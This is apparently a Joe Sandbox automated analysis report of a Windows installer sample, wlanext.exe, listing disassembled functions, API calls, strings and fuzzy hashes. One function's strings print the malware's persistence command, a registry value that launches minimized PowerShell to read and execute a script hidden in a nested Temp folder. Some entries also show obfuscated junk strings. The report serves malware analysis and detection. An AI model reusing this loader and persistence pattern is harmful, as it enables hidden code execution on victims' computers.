Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 13dcb630cae817d26763a7c5c34c1a537cec2b83c976c16d0abeb4614e4307e4
Instruction ID: 2232a7e87341d92c9ad346ae082ec06308d60ff2d87fc7f715a57a5a5eae5b25
Opcode Fuzzy Hash: 13dcb630cae817d26763a7c5c34c1a537cec2b83c976c16d0abeb4614e4307e4
Instruction Fuzzy Hash: E5018071E40219BADB00DB94CC41BFEBBB8AB45711F10412BBA10B61C0D7B465018BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00402C13 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402C2E
wsprintfA.USER32 ref: 00402C62
SetWindowTextA.USER32(?,?), ref: 00402C72
SetDlgItemTextA.USER32(?,00000406,?), ref: 00402C84

Strings

unpacking data: %d%%, xrefs: 00402C50, 00402C60
verifying installer: %d%%, xrefs: 00402C57

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: ef5ff3cba37bdb2e26199f17b8c5be3437539e0f0002abd4d10d443ac5288961
Instruction ID: e0e458c2d16b5d3c5a169a1492fe07981551179f6e5c56f92d0567975436b572
Opcode Fuzzy Hash: ef5ff3cba37bdb2e26199f17b8c5be3437539e0f0002abd4d10d443ac5288961
Instruction Fuzzy Hash: 35F0317090420DABEF205F60CD0AFAE3769EB04345F00C43AFA16B51D0D7B99A55CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00402749 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 0040279D
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,000000F0), ref: 004027B9
GlobalFree.KERNEL32(?), ref: 004027F2
GlobalFree.KERNEL32(00000000), ref: 00402805
CloseHandle.KERNEL32(?,?,?,?,000000F0), ref: 0040281D
DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 00402831

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 70e376fce86f18bfa73efd40fb81f6787c9c2203eb6f8f53123f1daed9e57a3d
Instruction ID: 589acf511f7bba285ed25554ef0f071862dbcd9cf46fffc414e4c77000f41e55
Opcode Fuzzy Hash: 70e376fce86f18bfa73efd40fb81f6787c9c2203eb6f8f53123f1daed9e57a3d
Instruction Fuzzy Hash: 5E219A71C04128BBCF216FA5CE89DAE7A79AF09324F14423AF520762E1C6795D40DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004048D1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(mutules Setup: Installing,mutules Setup: Installing,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,004047EC,000000DF,00000000,00000400,?), ref: 0040496F
wsprintfA.USER32 ref: 00404977
SetDlgItemTextA.USER32(?,mutules Setup: Installing), ref: 0040498A

Strings

mutules Setup: Installing, xrefs: 00404961, 00404966, 0040496C, 00404980
%u.%u%s%s, xrefs: 00404959

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$mutules Setup: Installing
API String ID: 3540041739-4247600321
Opcode ID: 82e12f032b3efd850847d5b584d2a8547bd6d54b12269a14f91348113f1031b8
Instruction ID: 7f1be1aa0c85ccb86495671cb382a06f82cddcf8175a130fa0267404931b34df
Opcode Fuzzy Hash: 82e12f032b3efd850847d5b584d2a8547bd6d54b12269a14f91348113f1031b8
Instruction Fuzzy Hash: CF11B7736041283BDB0065799D45EAF3298DB85374F250637FA25F21D1E978CC1255EC

Uniqueness

Uniqueness Score: -1.00%

Function 004023D3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402411
lstrlenA.KERNEL32( -windowstyle minimized $fe32 = Get-Content 'C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically\Recife\Opfindendes\Perlemoret\Servitudes\Margarines.Pos' ; powershell.Exe "$fe32",00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 00402431
RegSetValueExA.ADVAPI32(?,?,?,?, -windowstyle minimized $fe32 = Get-Content 'C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically\Recife\Opfindendes\Perlemoret\Servitudes\Margarines.Pos' ; powershell.Exe "$fe32",00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040246E
RegCloseKey.ADVAPI32(?,?,?, -windowstyle minimized $fe32 = Get-Content 'C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically\Recife\Opfindendes\Perlemoret\Servitudes\Margarines.Pos' ; powershell.Exe "$fe32",00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040254F

Strings

-windowstyle minimized $fe32 = Get-Content 'C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically\Recife\Opfindendes\Perlemoret\Servitudes\Margarines.Pos' ; powershell.Exe "$fe32", xrefs: 00402422, 00402430, 00402444, 00402458, 00402463

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: -windowstyle minimized $fe32 = Get-Content 'C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically\Recife\Opfindendes\Perlemoret\Servitudes\Margarines.Pos' ; powershell.Exe "$fe32"
API String ID: 1356686001-2561214942
Opcode ID: 65fbc6128c6ea6ccac0771d36d25ae40eb91bbe92aaef5046d3fe99f3cf24475
Instruction ID: 45e6817f5ac0ad5077c8573445b5e51b6f54d3a00a8772886ac111494e5e57ea
Opcode Fuzzy Hash: 65fbc6128c6ea6ccac0771d36d25ae40eb91bbe92aaef5046d3fe99f3cf24475
Instruction Fuzzy Hash: B52181B1E00109BEEB10EFA4DE49EAF7BB8EB54358F20403AF505B61D1D6B95D019B28

Uniqueness

Uniqueness Score: -1.00%

Function 00401FFF Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000001,000000F0), ref: 0040202A

Part of subcall function 00405110: lstrlenA.KERNEL32(ExecShell: open powershell.Exe,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000,?), ref: 00405149
Part of subcall function 00405110: lstrlenA.KERNEL32(00402D22,ExecShell: open powershell.Exe,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000), ref: 00405159
Part of subcall function 00405110: lstrcatA.KERNEL32(ExecShell: open powershell.Exe,00402D22,00402D22,ExecShell: open powershell.Exe,00000000,00000000,00000000), ref: 0040516C
Part of subcall function 00405110: SetWindowTextA.USER32(ExecShell: open powershell.Exe,ExecShell: open powershell.Exe), ref: 0040517E
Part of subcall function 00405110: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004051A4
Part of subcall function 00405110: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004051BE
Part of subcall function 00405110: SendMessageA.USER32(?,00001013,?,00000000), ref: 004051CC

LoadLibraryExA.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040203A
GetProcAddress.KERNEL32(00000000,?), ref: 0040204A
FreeLibrary.KERNEL32(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 004020B4

Strings

Dragelserneserst Videokassettesj-BronchoscopespecwUdlbsdatoernesubiBrmersscleretininCamotevanillerygdAspargessuppenauoimpresarioshammewMoroccanmedistersCanceratingaccoutSladresvoterendeyMusicalisationphlBudgetkontrollenePluperfectshtche Geneptubercularim Peri, xrefs: 0040207E

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID: Dragelserneserst Videokassettesj-BronchoscopespecwUdlbsdatoernesubiBrmersscleretininCamotevanillerygdAspargessuppenauoimpresarioshammewMoroccanmedistersCanceratingaccoutSladresvoterendeyMusicalisationphlBudgetkontrollenePluperfectshtche Geneptubercularim Peri
API String ID: 2987980305-2328631867
Opcode ID: 5c74158a5c424de3d330bdf5fdf3cb85bea192cbefd0023e986e21e1872dc6e9
Instruction ID: 7d08e1e337802b2334af88e0c199d29f708e40c37bf94ee781fb5d0f0b1c297d
Opcode Fuzzy Hash: 5c74158a5c424de3d330bdf5fdf3cb85bea192cbefd0023e986e21e1872dc6e9
Instruction Fuzzy Hash: 7B219571E00225F7DB207FA48E49A6E7A74AB44354F20417BF601B22D1D6BE4A42965E

Uniqueness

Uniqueness Score: -1.00%

Function 00402B0E Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,?,?), ref: 00402B2F
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402B6B
RegCloseKey.ADVAPI32(?), ref: 00402B74
RegCloseKey.ADVAPI32(?), ref: 00402B99
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402BB7

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: ba179b4ab06ec51544505c7bb4ef6d82f25395ff453b8f9fc11c3f7a3e81ed6a
Instruction ID: cbb66f3b7e8ae2888f759c75a40f8dd5de3b5766fb854263a8955dc236021e84
Opcode Fuzzy Hash: ba179b4ab06ec51544505c7bb4ef6d82f25395ff453b8f9fc11c3f7a3e81ed6a
Instruction Fuzzy Hash: 39117C71A00108FFDF11AF90DE89DAA3B7DEB54345F004076FA05F10A0D378AE51AB69

Uniqueness

Uniqueness Score: -1.00%

Function 00401D95 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D98
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DB2
MulDiv.KERNEL32(00000000,00000000), ref: 00401DBA
ReleaseDC.USER32(?,00000000), ref: 00401DCB
CreateFontIndirectA.GDI32(0040A808), ref: 00401E1A

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: 384e23ba8be56f1d8b58cd2f78efa8b6131d55f969df9b920b0b3fd3205056ac
Instruction ID: 31dc6bfce766dd2e9c365b6b9c1ce0fa0646d0edadaed3ffd0317ad467dc8ee1
Opcode Fuzzy Hash: 384e23ba8be56f1d8b58cd2f78efa8b6131d55f969df9b920b0b3fd3205056ac
Instruction Fuzzy Hash: 1E017572948340AFE7006B74AE4EB993FF4DB95315F10847AF201B62E2C6B905528F6E

Uniqueness

Uniqueness Score: -1.00%

Function 00401D3B Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 00401D3F
GetClientRect.USER32(00000000,?), ref: 00401D4C
LoadImageA.USER32(?,00000000,?,?,?,?), ref: 00401D6D
SendMessageA.USER32(00000000,00000172,?,00000000), ref: 00401D7B
DeleteObject.GDI32(00000000), ref: 00401D8A

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: bd1a246c87c7f6178c6ecc63fdf164811e3027df84ebbbc61871bc77a69c7b8e
Instruction ID: 3a73a5ecaa8fddf8dab02391599d10e6f088d4e67d6af50185a53a7dc2f76cba
Opcode Fuzzy Hash: bd1a246c87c7f6178c6ecc63fdf164811e3027df84ebbbc61871bc77a69c7b8e
Instruction Fuzzy Hash: D6F0FFB2A04119BFDB11EBA4DE88DAFBBBCEB44301B104476F601F2191C6749D018B79

Uniqueness

Uniqueness Score: -1.00%

Function 00401C04 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C74
SendMessageA.USER32(00000000,00000000,?,?), ref: 00401C8C

Strings

!, xrefs: 00401C40

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: ddb3ae1d6e1b3602016cf6e102a5b51033461e7a55de6e6a3b1605d6dd40c2f8
Instruction ID: 023f80fe09a274ffd38664002148efa248b1b49841e283c842910b226ff12a9e
Opcode Fuzzy Hash: ddb3ae1d6e1b3602016cf6e102a5b51033461e7a55de6e6a3b1605d6dd40c2f8
Instruction Fuzzy Hash: BA219171A44208BEEB15EFA4DA46AED7FB1EF84314F24403EF101B61D1DA7886408B28

Uniqueness

Uniqueness Score: -1.00%

Function 00403B3C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 71COMMON

Download Yara Rule

APIs

SetWindowTextA.USER32(00000000,00422F20), ref: 00403BD4

Strings

mutules Setup: Installing, xrefs: 00403B3F
1033, xrefs: 00403B40, 00403B4A, 00403BBB
"C:\Users\user\Desktop\a\wlanext.exe" , xrefs: 00403B3D

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: TextWindow
String ID: "C:\Users\user\Desktop\a\wlanext.exe" $1033$mutules Setup: Installing
API String ID: 530164218-1212901477
Opcode ID: c1ec0949caeca4144a944ae59ae08b3684b72df285f16dc2ff7046be5833e2a3
Instruction ID: c62297436265aa8c4426bdacc88999ed38b20c31bf5381ba95a45bc0aedbf607
Opcode Fuzzy Hash: c1ec0949caeca4144a944ae59ae08b3684b72df285f16dc2ff7046be5833e2a3
Instruction Fuzzy Hash: 6711D8B1B046119BC730AF15DD50A77777DEB8475A328813FE901A73D2C73DAE029A98

Uniqueness

Uniqueness Score: -1.00%

Function 00405969 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004032AC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034AF), ref: 0040596F
CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,004032AC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034AF), ref: 00405978
lstrcatA.KERNEL32(?,00409014), ref: 00405989

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405969

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3081826266
Opcode ID: 39623dee3265ed167cf4eb0d952b1efefe5673d98ca6e2622bb109ae9f6b3ea7
Instruction ID: 4e6a192690b432b60a96f5238a9074c153a0d937d76e079e8aa32f917c06b110
Opcode Fuzzy Hash: 39623dee3265ed167cf4eb0d952b1efefe5673d98ca6e2622bb109ae9f6b3ea7
Instruction Fuzzy Hash: 7FD0A9A2A09930AAD31222158C05EAB6A4CCF42310B0A0062F200B22E2C77C0D418BFE

Uniqueness

Uniqueness Score: -1.00%

Function 00405084 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004050B3
CallWindowProcA.USER32(?,?,?,?), ref: 00405104

Part of subcall function 00404128: SendMessageA.USER32(00040460,00000000,00000000,00000000), ref: 0040413A

Strings

, xrefs: 00405094

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 0b9e3fe4afe9fd5950d24fc38bd805c0ffc83546a9c92a8d1e346af401a4be56
Instruction ID: e292fc6bb5149b142bd52d3e096dd2ae09329e4c6d4eed70fd370e7000aba408
Opcode Fuzzy Hash: 0b9e3fe4afe9fd5950d24fc38bd805c0ffc83546a9c92a8d1e346af401a4be56
